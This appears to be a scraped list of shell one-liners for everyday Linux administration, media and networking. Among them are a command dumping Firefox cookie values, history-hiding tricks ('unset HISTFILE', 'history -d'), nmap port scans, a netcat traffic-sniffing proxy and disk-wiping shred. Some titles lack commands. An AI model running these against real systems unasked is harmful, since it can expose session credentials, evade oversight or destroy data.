Dump HTTP header using wget
wget --server-response --spider http://www.example.com/
Find the 20 biggest directories on the current filesystem
du -xk | sort -n | tail -20
Using ASCII Art output on MPlayer
mplayer -vo aa <video file>
Make the "tree" command pretty and useful by default
alias tree="tree -CAFa -I 'CVS|*.*.package|.svn|.git' --dirsfirst"
run php code inline from the command line
php -r 'echo strtotime("2009/02/13 15:31:30")."\n";'
Display which user run process from given port name
fuser -nu tcp 3691
copy/mkdir and automatically create parent directories
cp --parents /source/file /target-dir
Remux an avi video if it won't play easily on your media device
mencoder -ovc copy -oac copy -of avi -o remuxed.avi original.avi
Edit the Last Changed File
vim $( ls -t | head -n1 )
prevents replace an existing file by mistake
set -o noclobber
Download an entire ftp directory using wget
wget -r ftp://user:pass@ftp.example.com
Bash prompt with user name, host, history number, current dir and just a touch of color
export PS1='\n[\u@\h \! \w]\n\[\e[32m\]$ \[\e[0m\]'
Quickly analyze apache logs for top 25 most common IP addresses.
cat $(ls -tr | tail -1) | awk '{ a[$1] += 1; } END { for(i in a) printf("%d, %s\n", a[i], i ); }' | sort -n | tail -25
show dd progress
killall -USR1 dd
send tweets to twitter (and get user details)
curl --basic --user "user:pass" --data-ascii "status=tweeting%20from%20%the%20linux%20command%20line" http://twitter.com/statuses/update.json
Show log message including which files changed for a given commit in git.
git --no-pager whatchanged -1 --pretty=medium <commit_hash>
Slightly better compressed archives
find . \! -type d | rev | sort | rev | tar c --files-from=- --format=ustar | bzip2 --best > a.tar.bz2
Find the real procesor speed when you use CPU scaling [cpuspeed]
awk -F": " '/cpu MHz\ */ { print "Processor (or core) running speed is: " $2 }' /proc/cpuinfo ; dmidecode | awk -F": " '/Current Speed/ { print "Processor real speed is: " $2 }'
copy from host1 to host2, through your host
ssh user@<source_host> -- tar cz <path> | ssh user@<destination_host> -- tar vxzC <path>
Count accesses per domain
cut -d'/' -f3 file | sort | uniq -c
Get IPv4 of eth0 for use with scripts
ifconfig eth0 | grep 'inet addr' | cut -d ':' -f 2 | cut -d ' ' -f 1
Clear filesystem memory cache
sysctl -w vm.drop_caches=3
Save history without logout
history -a
oneliner to transfer a directory using ssh and tar
tar cvzf - dir | ssh my_server 'tar xzf -'
List out classes in of all htmls in directory
find . -name '*.html' -exec 'sed' 's/.*class="\([^"]*\?\)".*/\1/ip;d' '{}' ';' |sort -su
Extract a IRC like chat log out of an Adium xml logfile
xmlstarlet sel -N x="http://purl.org/net/ulf/ns/0.4-02" -T -t -m "//x:message" -v "concat(substring(@time,12,5),' < ',@sender,'>', ' ',.)" -n
Show Directories in the PATH Which does NOT Exist
ls -d $(echo ${PATH//:/ }) > /dev/null
View all file operator expressions for any file, test, stat
testt(){ o=abcdefghLkprsStuwxOGN;echo $@;for((i=0;i<${#o};i++));do c=${o:$i:1};test -$c $1 && help test | sed "/^ *-$c/!d;1q;s/^[^T]*/-$c /;s/ if/ -/";done; }
vi case insensitive search
:set ic
grep -v with multiple patterns.
grep test somefile | grep -v -e error -e critical -e warning
Burn an ISO on the command line.
cdrecord -v speed=4 driveropts=burnfree dev=/dev/scd0 cd.iso
Find how much of your life you've wasted coding in the current directory
find * \( -name "*.[hc]pp" -or -name "*.py" -or -name "*.i" \) -print0 | xargs -0 wc -l | tail -n 1
Calculate pi to an arbitrary number of decimal places
echo "scale=1000; 4*a(1)" | bc -l
Easily find latex package documentation
texdoc packagename
FizzBuzz One-liner
perl -le 'print$_%3?$_%5?$_:"Buzz":$_%5?"Fizz":"FizzBuzz"for 1..100'
Converts multiple youtube links to mp3 files
function ytmp3() { while (($#)); do (cd ~/Music; echo "Extracting mp3 from $(youtube-dl -e $1)"; /usr/bin/youtube-dl -q -t --extract-audio --audio-format mp3 $1); shift; done ; }
Watch the progress of 'dd'
ctrl-t
display systemd log entries for sshd using "no-pager" (a bit like in pre-systemd: grep sshd /var/log/messages)
journalctl -u sshd –no-pager !!! Example "display sshd log entries
Watch TCP, UDP open ports in real time with socket summary.
watch ss -stplu
Copy specific files to another machine, keeping the file hierarchy
tar cpfP - $(find <somedir> -type f -name *.png) | ssh user@host | tar xpfP -
skip broken piece of a loop but not exit the loop entirely
ctrl + \
find .txt files inside a directory and replace every occurrance of a word inside them via sed
find . -name '*.txt' -exec sed -ir 's/this/that/g' {} \;
split a string (2)
read VAR1 VAR2 VAR3 < <(echo aa bb cc); echo $VAR2
which process has a port open
lsof -i :80
Synthesize text as speech
echo "hello world" | festival --tts
Mute xterm
xset b off
Force machine to reboot no matter what (even if /sbin/shutdown is hanging)
echo 1 > /proc/sys/kernel/sysrq; echo b > /proc/sysrq-trigger
Runs a command without hangups.
nohup <command> &
Repeatedly purge orphaned packages on Debian-like Linuxes
while [ $(deborphan | wc -l) -gt 0 ]; do dpkg --purge $(deborphan); done
Extract a remote tarball in the current directory without having to save it locally
curl http://example.com/foo.tar.gz | tar zxvf -
Watch Data Usage on eth0
watch ifconfig eth0
Copy history from one terminal to another
history -w <switch to another terminal> history -r
Parse a quoted .csv file
awk -F'^"|", "|"$' '{ print $2,$3,$4 }' file.csv
Copy something to multiple SSH hosts with a Bash loop
for h in host1 host2 host3 host4 ; { scp file user@$h:/destination_path/ ; }
quick input
alt + .
Configure second monitor to sit to the right of laptop
xrandr --output LVDS --auto --output VGA --auto --right-of LVDS
know the current running shell (the true)
echo $0
top 10 commands used
sed -e 's/ *$//' ~/.bash_history | sort | uniq -cd | sort -nr | head
rsync with progress bar.
rsync -av --progress ./file.txt user@host:/path/to/dir
Clear mistyped passwords from password prompt
^u
Get the full path to a file
realpath examplefile.txt
Download Video & extract only a specific Time of it
yt-dlp --external-downloader ffmpeg --external-downloader-args "-ss 00:05:00 -t 00:01:00" "https://www.youtube.com/watch?v=Y6DGABIcB3w"
Check if a domain is available for purchase
function canibuy { whois "$1" 2>/dev/null | grep -q 'Registrant' && echo "taken" || echo "available" }
List all files in a folder in a git repository by last commit date
git ls-tree --name-only HEAD foldername/ | while read filename; do echo "$(git log -1 --format="%ci " -- $filename) $filename"; done | sort -r
View a file with less, starting at the end of the file
less +G <filename>
Top Command in batch mode
top -b -n 1
Split a file one piece at a time, when using the split command isn't an option (not enough disk space)
dd if=inputfile of=split3 bs=16m count=32 skip=64
Validate all XML files in the current directory and below
find -type f -name "*.xml" -exec xmllint --noout {} \;
Monitor incoming connections of proxies and balancers.
watch -n 1 "/usr/sbin/lsof -p PID |awk '/TCP/{split(\$8,A,\":\"); split(A[2],B,\">\") ; split(B[1],C,\"-\"); print A[1],C[1],B[2], \$9}' | sort | uniq -c"
google tts
say() { curl -sA Mozilla -d q=`python3 -c 'from urllib.parse import quote_plus; from sys import stdin; print(quote_plus(stdin.read()[:100]))' <<<"$@"` 'http://translate.google.com/translate_tts' | mpg123 -q -; }
ping a host until it responds, then play a sound, then exit
speakwhenup() { [ "$1" ] && PHOST="$1" || return 1; until ping -c1 -W2 $PHOST >/dev/null 2>&1; do sleep 5s; done; espeak "$PHOST is up" >/dev/null 2>&1; }
Find chronological errors or bad timestamps in a Subversion repository
URL=http://svn.example.org/project; diff -u <(TZ=UTC svn -q log -r1:HEAD $URL | grep \|) <(TZ=UTC svn log -q $URL | grep \| | sort -k3 -t \|)
Ping all hosts on 192.168.1.0/24
nmap -sn 192.168.1.0/24
Google's Text-To-Speech in command line
function say { wget -q -U Mozilla -O google-tts.mp3 "http://translate.google.com/translate_tts?ie=UTF-8&tl=$1&q=$2" open google-tts.mp3 &>/dev/null || mplayer google-tts.mp3 &>/dev/null; rm google-tts.mp3; }
List all files modified by a command
D="$(date "+%F %T.%N")"; [COMMAND]; find . -newermt "$D"
Fibonacci With Case
fib(){ case $1 in 0)echo 0;;1)echo 1;;[0-9]*)echo $[$(fib $[$1-2])+$(fib $[$1-1])];;*)exit 1;;esac;}
a fast way to repeat output a byte
ghc -e "mapM_ (\_->Data.ByteString.Char8.putStr (Data.ByteString.Char8.replicate (1024*1024) '\\255')) [1..24]"
Find commets in jpg files.
find / -name "*.jpg" -print -exec rdjpgcom '{}' ';'
Force logout after 24 hours idle
fuser -k `who -u | awk '$6 == "old" { print "/dev/"$2'}`
Factorial With Case
fac(){ case $1 in 0|1)echo 1;;[0-9]*)echo $[$1*$(fac $[$1-1])];;*)exit 1;;esac }
how many pages will my text files print on?
numpages() { echo $(($(wc -l $* | sed -n 's/ total$//p')/60)); }
Report the established connections for a particular port
export PORT=11211; ss -an4 | grep -E "ESTAB.*$PORT" | awk '{print $5}' | awk -F: '{print $1}' | sort | uniq -c | sort -nr
Easy file sharing from the command line using transfer.sh
transfer() { basefile=$(basename "$1" | sed -e 's/[^a-zA-Z0-9._-]/-/g');curl --progress-bar --upload-file "$1" "https://transfer.sh/$basefile"|xsel --clipboard;xsel --clipboard ; }
Stream the latest offering from your fave netcasts/podcasts
vlc --one-instance --playlist-enqueue -q $(while read netcast; do wget -q $netcast -O - |grep enclosure | tr '\r' '\n' | tr \' \" | sed -n 's/.*url="\([^"]*\)".*/\1/p'|head -n1; done <netcast.txt)
Use acpi and notify-send to report current temperature every five minutes.
while ping -c 1 127.0.0.1 > /dev/null; do acpi -t -f | while read tem; do notify-send "$tem"; done; sleep 300; done
Keep track of diff progress
lsof -c diff -o -r1 | grep $file
clear the cache from memory
sync; echo 3 > /proc/sys/vm/drop_caches
A command line calculator in Perl
perl -e 'for(@ARGV){s/x/*/g;s/v/sqrt /g;s/\^/**/g};print eval(join("",@ARGV)),$/;'
vi a remote file with port
vi scp://username@host:12345//path/to/somefile
Speak & Spell-esque glitch sounds
play -tlpc /dev/urandom
How To Display Bash History Without Line Numbers
history -w /dev/stdout
url redirect tracer with curl
curl --silent -I -L shorturl.at/dfIJQ | grep -i location
Query cheat.sh from the termianl. A quick access cheat sheet for a range of linux commands!
curl cheat.sh/<comamnd-to-search>
youtube2m3u
yt-dlp -N3 -O '#EXTINF:%(duration_string)s tvg-id="" tvg-logo="%(thumbnail)s" group-title="Music | %(channel)s (%(extractor)s)",%(title)s' -O webpage_url --playlist-end 10 https://www.youtube.com/channel/UC2eTX3jDug-6fUt89uWaPCQ
Print with tabular
head -4 /etc/passwd | tr : , | sed -e 's/^/| /' -e 's/,/,| /g' -e 's/$/,|/' | column -t -s,
ASCII art of yourself
mplayer tv:// -vo caca
Save a copy of all debian packages in the form in which they are installed and configured on your system
for a in $(sudo dpkg --get-selections|cut -f1); do dpkg-repack $a|awk '{if (system("sleep .5 && exit 2") != 2) exit; print}';done
Check if port is open on remote machine
echo > /dev/tcp/127.0.0.123/8085 && echo "Port is open"
Show top 50 running processes ordered by highest memory/cpu usage refreshing every 1s
watch -n1 "ps aux --sort=-%mem,-%cpu | head -n 50"
Find dupe files by checking md5sum
find /glftpd/site/archive -type f|grep '([0-9]\{1,9\})\.[^.]\+$'|parallel -n1 -j200% md5sum ::: |awk 'x[$1]++ { print $2 " :::"}'|sed 's/^/Dupe: /g'|sed 's,Dupe,\x1B[31m&\x1B[0m,'
Listing today’s files only
ls -al --time-style=+%D| grep `date +%D`
remove ^M characters from file using sed
sed 's/\r//g' < input.txt > output.txt
Create a file and manipulate the date
touch -d '-1 year' /tmp/oldfile
remove comments (even those starting with spaces), empty lines (even those containing spaces) in one grep command
grep -vE '^\s*(#|$)' textfile
draw honeycomb
seq -ws "\\__/" 99|fold -69|tr "0-9" " "
Adding Prefix to File name
mv {,prefix_}yourfile.txt
list block devices
sudo lsblk -o name,type,fstype,label,partlabel,model,mountpoint,size
Which processes are listening on a specific port (e.g. port 80)
lsof -iTCP:80 -sTCP:LISTEN
check open ports without netstat or lsof
declare -a array=($(tail -n +2 /proc/net/tcp | cut -d":" -f"3"|cut -d" " -f"1")) && for port in ${array[@]}; do echo $((0x$port)); done
Examine processes generating traffic on your website
netstat -np | grep -v ^unix
Search and play youtube videos directly to terminal (no X needed)
pyt() { youtube-dl -q -f bestaudio --max-downloads 1 --no-playlist --default-search ${2:-ytsearch} "$1" -o - | mplayer -vo null /dev/fd/3 3<&0 </dev/tty; }
Cleanup Docker
sudo docker rm $(docker ps -a -q); sudo docker rmi $(docker images -q)
drop first column of output by piping to this
tr -s ' ' | cut -d' ' -f2-
Network Proxy to dump the application level forward traffic in plain text in the console and in a file.
mkfifo fifo; while true ; do echo "Waiting for new event"; nc -l 8080 < fifo | tee -a proxy.txt /dev/stderr | nc 192.168.0.1 80 > fifo ; done
pretty print JavaScript source code
uglifyjs <file> -b
Check if it's your binary birthday!
echo "obase=2;$((($(date +%s)-$(date +%s -d YYYY-MM-DD))/86400))" | bc
Download certificate chain from FTP
echo | openssl s_client -showcerts -connect ftp.domain.com:ftp -starttls ftp 2>/dev/null | sed -ne '/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p'
rsync should continue even if connection lost
rsync --archive --recursive --compress --partial --progress --append root@123.123.123.123:/backup/somefile.txt.bz2 /home/ubuntu/
Nicely display permissions in octal format with filename
stat -f '%Sp %p %N' * | rev | sed -E 's/^([^[:space:]]+)[[:space:]]([[:digit:]]{4})[^[:space:]]*[[:space:]]([^[:space:]]+)/\1 \2 \3/' | rev
Find if $b is in $a in bash
if grep -q "$b" <<<$a; then echo "'$b' was found in '$a'"; fi
LIST FILENAMES OF FILES CREATED TODAY IN CURRENT DIRECTORY
find -maxdepth 1 -mtime 0 -type f
Slow Down Command Output
ls -alt|awk '{if (system("sleep .5 && exit 2") != 2) exit; print}'
Open a file at the specified line
emacs +400 code.py
Non Numeric Check
if [ -z $(echo $var | grep [0-9]) ]; then echo "NON NUMERIC"; fi
Find if $b is in $a in bash
if [ "x${a/$b/}" != "x$a" ]; then echo "'$b' is in '$a'"; fi
Edit the list of to ignore files in the active directory
svn propedit svn:ignore .
Complex string encoding with sed
cat index.html | sed 's|"index.html%3Ffeed=rss2"|"http://dynamic-blog.hemca.com/?feed=rss2.html"|g'
Prettify XML in pipeline
echo '<foo><bar/></foo>' | xmllint --format -
One-liner to generate Self-Signed SSL Certificate+Key without any annoying prompts or CSRs
openssl req -new -newkey rsa:4096 -days 3650 -nodes -x509 -subj "/C=<Country Code>/ST=<State>/L=<City>/O=<Organization>/CN=<Common Name>" -keyout certificate.key -out certificate.crt
Use nroff to view the man pages
nroff -u0 -Tlp -man /usr/openwin/man/man1/Xsun.1 | col -x | less
start vim in diff mode
vimdiff file{1,2}
grep -v with multiple patterns.
sed -n '/test/{/error\|critical\|warning/d;p}' somefile
Fast tape rewind
< /dev/rmt/0cbn
Video Google download
wget -qO- "VURL" | grep -o "googleplayer.swf?videoUrl\\\x3d\(.\+\)\\\x26thumbnailUrl\\\x3dhttp" | grep -o "http.\+" | sed -e's/%\([0-9A-F][0-9A-F]\)/\\\\\x\1/g' | xargs echo -e | sed 's/.\{22\}$//g' | xargs wget -O OUPUT_FILE
Find all files that have nasty names
find -name "*[^a-zA-Z0-9._-]*"
Test disk I/O
dd if=/dev/zero of=test bs=64k count=16k conv=fdatasync
show the difference
diff file1 file2 --side-by-side --suppress-common-lines
Detect encoding of a text file
file -i <textfile>
find sparse files
find -type f -printf "%S\t%p\n" 2>/dev/null | gawk '{if ($1 < 1.0) print $1 $2}'
Get HTTP status code with curl
curl --write-out %{http_code} --silent --output /dev/null localhost
Are there any words in the English language that use at least half of the alphabet without repeating any letters?
cat /usr/share/dict/words | egrep '^\w{13,}$' | egrep -iv '(\w).*\1'
separate (emphasize) digital strings from other text
sed 's/[0-9]\+/ [&] /g'
ping a host until it responds, then play a sound, then exit
Mac OSX: ping -oc 30 8.8.4.4 > /dev/null && say "Google name server is up" || say "This host is down"
Download file with multiple simultaneous connections
aria2c -x 4 http://my/url
Find dead symbolic links
find -L -type l
Determine if photos have been rotated to portrait orientation instead of normal landscape orientation
for i in *; do identify $i | awk '{split($3,a,"x"); if (a[2]>a[1]) print $1;}'; done
Print ASCII Character Chart
for i in {1..256};do p=" $i";echo -e "${p: -3} \\0$(($i/64*100+$i%64/8*10+$i%8))";done|cat -t|column -c120
Bitcoin Brainwallet Base58 Encoder
function b58encode () { local b58_lookup_table=({1..9} {A..H} {J..N} {P..Z} {a..k} {m..z}); bc<<<"obase=58;ibase=16;${1^^}"|(read -a s; for b58_index in "${s[@]}" ; do printf %s ${b58_lookup_table[ 10#"$b58_index" ]}; done); }
Show complete URL in netstat output
netstat -tup -W | column -t
Get a BOFH excuse
telnet towel.blinkenlights.nl 666 2>/dev/null |tail -2
poor man's vpn
sshuttle --dns -vvr user@server 0/0
Read choice from user instantaneously
read -N1
Random Number Between 1 And 256
od -An -N1 -tu1 /dev/random
find previously entered commands
Waste time for about 3 minutes
for i in {1..20}; do fortune -w ; sleep 3; clear; done
Welcome humans!
firefox about:robots
network interface and routing summary
nmap --iflist
Creating A Single Image Video With Audio via ffmpeg
ffmpeg -loop 1 -i image.png -i sound.mp3 -shortest video.mp4
Compress blank lines
cat -s
mailx to send mails from console
true | mailx -n -a MYTEXT.txt -r my@mail.com -s log -S smtp=mail.com -S smtp-auth-user=MYUSER -S smtp-auth-password=MYPASSWORD FRIEND@mail.com
Encrypt and password-protect execution of any bash script, Version 2
read -p 'Script: ' S && C=$S.crypt H='eval "$((dd if=$0 bs=1 skip=//|gpg -d)2>/dev/null)"; exit;' && gpg -c<$S|cat >$C <(echo $H|sed s://:$(echo "$H"|wc -c):) - <(chmod +x $C)
Tail a log-file over the network
socat -u FILE:/var/log/syslog,ignoreeof TCP4-LISTEN:12345,fork,reuseaddr
generate 30 x 30 matrix
hexdump -v -e '"%u"' </dev/urandom|fold -60|head -n 30|sed 's/\(.\{2\}\)/\1 /g'
Create executable, automountable filesystem in a file, with password!
dd if=/dev/zero of=T bs=1024 count=10240;mkfs.ext3 -q T;E=$(echo 'read O;mount -o loop,offset=$O F /mnt;'|base64|tr -d '\n');echo "E=\$(echo $E|base64 -d);eval \$E;exit;">F;cat <(dd if=/dev/zero bs=$(echo 9191-$(stat -c%s F)|bc) count=1) <(cat T;rm T)>>F
histogram of file size
gnuplot -p <(echo "set style data hist; set xtic rot by -45; plot '<(stat -c \"%n %s\" *)' u 2:xtic(1)")
Ping all hosts on 192.168.1.0/24
fping -ga 192.168.1.0/24 2> /dev/null
show where symlinks are pointing
lsli() { ls -l --color "$@" | awk '{ for(i=9;i<NF;i++){ printf("%s ",$i) } printf("%s\n",$NF) }'; }
Echo the latest commands from commandlinefu on the console
wget -O - http://www.commandlinefu.com/commands/browse/rss 2>/dev/null | awk '/\s*<title/ {z=match($0, /CDATA\[([^\]]*)\]/, b);print b[1]} /\s*<description/ {c=match($0, /code>(.*)<\/code>/, d);print d[1]} ' | grep -v "^$"
Number file
nl file.txt > file_numbered.txt
Using Git, stage all manually deleted files.
git rm $(git ls-files --deleted)
rename all files with "?" char in name
find . -type f -name "*\?*" | while read f;do mv "$f" "${f//[^0-9A-Za-z.\/\(\)\ ]/_}";done
Matrix Style
echo -e "\e[31m"; while $t; do for i in `seq 1 30`;do r="$[($RANDOM % 2)]";h="$[($RANDOM % 4)]";if [ $h -eq 1 ]; then v="\e[1m $r";else v="\e[2m $r";fi;v2="$v2 $v";done;echo -e $v2;v2="";done;
Generate random valid mac addresses
for i in {0..1200}; do for i in {1..12} ; do echo -n ${hexchars:$(( $RANDOM % 16 )):1} ; done | sed -e 's/\(..\)/:\1/g' | sed 's/.\(.*\)/\1/' ; echo; done
Find Duplicate Files (based on MD5 hash) – For Mac OS X
find . -type f -exec md5 '{}' ';' | sort | uniq -f 3 -d | sed -e "s/.*(\(.*\)).*/\1/"
detect the fastest ldap server on a intranet
host -t srv _ldap._tcp | sed "s/.*[ ]\([^ ]*\)[.]$/\1/g" | xargs -i ping -c 1 {} | grep -E "(statistics|avg)" | sed "s/^--- \([^ ]*\).*/,\1:/g"|tr -d "\n" | tr "," "\n" | sed "1d;s|^\([^:]*\).*=[^/]*/\([^/]*\).*|\2\t\1|g" |sort -n
Batch edition of all OpenOffice.org Writer files in the current directory (body text)
bsro3 () { P=`pwd`; S=$1; R=$2; ls *.odt > /dev/null 2>&1; if [[ $? -ne 0 ]]; then exit 1; fi; for i in *.odt; do mkdir ${P}/T; cd ${P}/T; unzip -qq "$P"/"$i"; sed -i "s/$S/$R/" ${P}/T/content.xml; zip -qq -r "$P"/"$i" *; cd ${P}; rm -rf ${P}/T; done; }
Generate random valid mac addresses
h=0123456789ABCDEF;for c in {1..12};do echo -n ${h:$(($RANDOM%16)):1};if [[ $((c%2)) = 0 && $c != 12 ]];then echo -n :;fi;done;echo
Turning off display
xset dpms force off
Do not clear the screen after viewing a file with less
less -X /var/log/insecure
Search some text from all files inside a directory
grep -Hrn "text" .
OSX: Hear pronunciation of a word
say WORD
open path with your default GNOME program
gnome-open [path]
"at" command w/o the resource usage/competition issues
jb() { if [ -z $1 ];then printf 'usage:\njb <"date and/or time"> <"commandline"> &\nsee parsedate(3) strftime(3)\n';else t1=$(date +%s); t2=$(date -d "$1" +%s) ;sleep $(expr $t2 - $t1);$2 ;fi ;}
scroll file one line at a time (w/only UNIX base utilities)
rd(){ while read a ;do printf "$a\n";sleep ${1-1};done ;} !!! Example "usage: rd < file ; or ... | rd
Sorted, recursive long file listing
lsr() { find "${@:-.}" -print0 |sort -z |xargs -0 ls $LS_OPTIONS -dla; }
Do some learning…
whatis $(compgen -c) | sort | less
Delete all flash cookies.
find $HOME -name '*.sol' -exec rm {} \;
Force wrap all text to 80 columns in Vim
gqG
clone directory structure
cp -Rs dir1 dir2
move up through directories faster (set in your /etc/profile or .bash_profile)
function up { cd $(eval printf '../'%.0s {1..$1}) && pwd; }
launch bash without using any letters
"$(- 2>&1)";${_%%:*}
shush MOTD
touch ~/.hushlogin
Put a console clock in top right corner
while true; do echo -ne "\e[s\e[0;$((COLUMNS-27))H$(date)\e[u"; sleep 1; done &
Source zshrc/bashrc in all open terminals
trap "source ~/.zshrc" USR1
Updates your no-ip.org account with curl
curl -u $USERNAME:$PASSWORD "http://dynupdate.no-ip.com/nic/update?hostname=$HOSTNAME"
Erase to factory a pendrive, disk or memory card, and watch the progress
sudo shred -vz -n 0 /dev/sdb
Limit the transfer rate and size of data over a pipe
cat /dev/urandom | pv -L 3m | dd bs=1M count=100 iflag=fullblock > /dev/null
download 10 random wallpapers from google
for i in {1..10};do wget $(wget -O- -U "" "http://images.google.com/images?imgsz=xxlarge&hl=en&q=wallpaper+HD&start=$(($RANDOM%900+100))" --quiet | grep -oe 'http://[^"]*\.jpg' | head -1);done
Complete TCP Handshake on a given host-port
nc -zvw 1 host port
Rip a CD/DVD to ISO format.
dd if=/dev/cdrom of=~/cdrom_image.iso
Quickly CD Out Of Directories
up() { [ $(( $1 + 0 )) -gt 0 ] && cd $(eval "printf '../'%.0s {1..$1}"); }
Find directories under home directory with 777 permissions, change to 755, and list them on console
find $HOME -type d -perm 777 -exec chmod 755 {} \; -print
Edit a file inside a compressed archive without extracting it
vim some-archive.tar.gz
Find out how old a web page is
wget -S --spider http://osswin.sourceforge.net/ 2>&1 | grep Mod
convert doc to pdf
unoconv -f pdf filename.doc
what model of computer I'm using?
sudo hal-get-property --udi /org/freedesktop/Hal/devices/computer --key 'system.hardware.product'
Progress bar for MySQL import
pv -i 1 -p -t -e /path/to/sql/dump | mysql -u USERNAME -p DATABASE_NAME
Remove a range of lines from a file
vi +'<start>,<end>d' +wq <filename>
Remove a line from a file using sed (useful for updating known SSH server keys when they change)
sed -i '${LINE}d' ~/.ssh/known_host
temporarily override alias of any command
\ls
Get video information with ffmpeg
ffprobe video.flv
Lists all usernames in alphabetical order
cut -d: -f1 /etc/passwd | sort
Show Apt/Dpkg configuration
apt-config dump
An alternative to: python -m SimpleHTTPServer for Arch Linux
python3 -m http.server
nmap fast scan all ports target
nmap -p0-65535 192.168.1.254 -T5
Stream audio over ssh ogg version
ssh [user]@[host] "ogg123 -" < [podcast].ogg
Make a playlistfile for mpg321 or other CLI player
ls -w 1 > list.m3u
Use default value if unassigned
ls ${my_dir:=/home}
Limit the transfer rate of a pipe with pv
pv /dev/urandom -L 3m -i 0.3 > /dev/null
Avoid killing the X server with CTRL+C on the tty it was started from
startx &! exit
Show complete URL in netstat output
netstat -pnut -W | column -t -s $'\t'
Print every Nth line (to a maximum)
function every() { sed -n -e "${2}q" -e "0~${1}p" ${3:-/dev/stdin}; }
search the manual page names and descriptions
apropos somekeyword
copy partition table from /dev/sda to /dev/sdb
sfdisk -d /dev/sda | sed 's/sda/sdb/g' | sfdisk /dev/sdb
List of services sorted by boot order in Redhat-based systems
find /etc/rc3.d/ | sort -g
Limit memory usage per script/program
(ulimit -v 1000000; scriptname)
Convert IP octets to HEX with no dots.
myhex=$(printf '%02X' ${myip//./ };)
The scene in the Shining (Stanley Kubrick)
yes "" | cat -n | awk '{print "S=`echo All work and no play makes Jack a dull boy. | cut -c",($1 - 1) % 43 + 1 "`;echo -n \"$S\";seq 500000 > /dev/null"}'| bash
Empty a file
truncate -s 0 file.txt
Matrix Style
while true; do printf "\e[32m%X\e[0m" $((RANDOM%2)); for ((i=0; i<$((RANDOM%128)); i++)) do printf " "; done; done
Write on the console without being registered
history -d $((HISTCMD-1)) && command_to_run
Throttle download speed (at speed x )
axel --max-speed=x
Use a regex as a field separator awk
echo one 22 three | awk -F'[0-9][0-9]' '{print $2}'
Get names of files in /dev, a USB device is attached to
ls -la /dev/disk/by-id/usb-*
Screencast with ffmpeg x11grab
ffmpeg -f alsa -ac 2 -i hw:0,0 -f x11grab -r 30 -s $(xwininfo -root | grep 'geometry' | awk '{print $2;}') -i :0.0 -acodec pcm_s16le -vcodec libx264 -vpre lossless_ultrafast -threads 0 -y output.mkv
Download YouTube Videos using wget and youtube-dl and just using the video link
wget -O "output-filename.mp4" $( youtube-dl -g -f "format-number" "youtube-video-link" )
Getting a domain from url, ex: very nice to get url from squid access.log
sed -e "s/[^/]*\/\/\([^@]*@\)\?\([^:/]*\).*/\2/"
List all information about all files (in current dir)
ls -all
Recursively grep thorugh directory for string in file.
grep -rni string dir
Unlock more space form your hard drive
tune2fs -m 1 /dev/sda6
List all databases in Postgres and their (byte/human) sizes, ordering by byte size descending
psql -c "SELECT pg_database.datname, pg_database_size(pg_database.datname), pg_size_pretty(pg_database_size(pg_database.datname)) FROM pg_database ORDER BY pg_database_size DESC;" -d <ANYDBNAME>
prettier "cal" command
cal |grep -A7 -B7 --color=auto $(date +%d)
Temporarily suspend and unsuspend a foreground job
^Z <...> %
find system's indianness
python -c "import sys;print (sys.byteorder) + ' endian'"
convert UNIX timestamp to UTC timestamp
TZ=UTC date -d @1320198157
List open IPv4 connections
lsof -Pnl +M -i4
background a wget download
wget -b http://dl.google.com/android/android-sdk_r14-linux.tgz
Convert text to uppercase
upper() { echo ${@^^}; }
Comment current line
ssh autocomplete based on ~/.ssh/config
perl -ne 'print "$1 " if /^Host (.+)$/' ~/.ssh/config
Check if your webserver supports gzip compression with curl
curl -I -H "Accept-Encoding: gzip,deflate" http://example.org
get cookies from firefox
echo ".mode tabs select host, case when host glob '.*' then 'TRUE' else 'FALSE' end, path, case when isSecure then 'TRUE' else 'FALSE' end, expiry, name, value from moz_cookies;" | sqlite3 ~/.mozilla/firefox/*.default/cookies.sqlite
View files opened by a program on startup and shutdown
sudo lsof -rc command >> /tmp/command.txt
Generate a random password 30 characters long
pwgen 30 1
Stream YouTube URL directly to mplayer.
mplayer -fs -cookies -cookies-file /tmp/cookie.txt $(youtube-dl -g --cookies /tmp/cookie.txt "http://www.youtube.com/watch?v=PTOSvEX-YeY")
Using Git, stage all manually deleted files.
git add -u
Show 'Hardware path'-style tree of all devices in Linux
lshw -short
Replace duplicate files by hardlinks
fdupes -r -1 path | while read line; do j="0"; for file in ${line[*]}; do if [ "$j" == "0" ]; then j="1"; else ln -f ${line// .*/} $file; fi; done; done
Protect directory from an overzealous rm -rf *
sudo chattr -R +i dirname
Sort specific lines while editing within vi
:33,61 !sort
List your MACs address
ifconfig eth0 | grep -o -E '([[:xdigit:]]{1,2}:){5}[[:xdigit:]]{1,2}'
Fast file backup
cp filename{,.`date +%Y%m%d`}
Auto Get Missing Launchpad Keys
sudo apt-get update 2> /tmp/keymissing; for key in $(grep "NO_PUBKEY" /tmp/keymissing |sed "s/.*NO_PUBKEY //"); do echo -e "\nProcessing key: $key"; gpg --keyserver pool.sks-keyservers.net --recv $key && gpg --export --armor $key |sudo apt-key add -; done
connects to a serial console
screen /dev/ttyS0 9600
Place the argument of the most recent command on the shell
Find today created files
find directory/ -mtime 0 -type f
Remove trailing space in vi
:%s/\s\+$//
Simulate typing
echo "You can have a bit more realistic typing with some shell magic." | pv -qL $[10+(-2 + RANDOM%5)]
Binary Clock
watch -n 1 'date "+obase=2; print %H,\":\",%M,\":\",%S" |bc'
String to binary
perl -nle 'printf "%0*v8b\n"," ",$_;'
Using NMAP to check if a port is open or close
nmap -oG - -T4 -p22 -v 192.168.0.254 | grep ssh
get a random command
ls /usr/bin | shuf -n 1
a simple bash one-liner to create php file and call php function
php -r 'echo str_rot13 ("Hello World");'
Get the full path to a file
readlink -e /bin/ls
Find the process you are looking for minus the grepped one
ps -ef | grep c\\ommand
Create a tar of directory structure only
tar -cf ~/out.tar --no-recursion --files-from <(find . -type d)
Takes all file except file between !()
rm !(file_to_keep_undeleted)
Batch rename extension of all files in a folder, in the example from .txt to .md
rename 's/.txt/.md/i' *
Monitor a file with tail with timestamps added
tail -f file | while read line; do echo -n $(date -u -Ins); echo -e "\t$line"; done
Undo
[Ctrl+_]
Shows what processes need to be restarted after system upgrade
deadlib() { lsof | grep 'DEL.*lib' | cut -f 1 -d ' ' | sort -u; }
Don't save commands in bash history (only for current session)
unset HISTFILE
Trigger a command each time a file is created in a directory (inotify)
inotifywait -mrq -e CREATE --format %w%f /path/to/dir | while read FILE; do chmod g=u "$FILE"; done
Generate list of words and their frequencies in a text file.
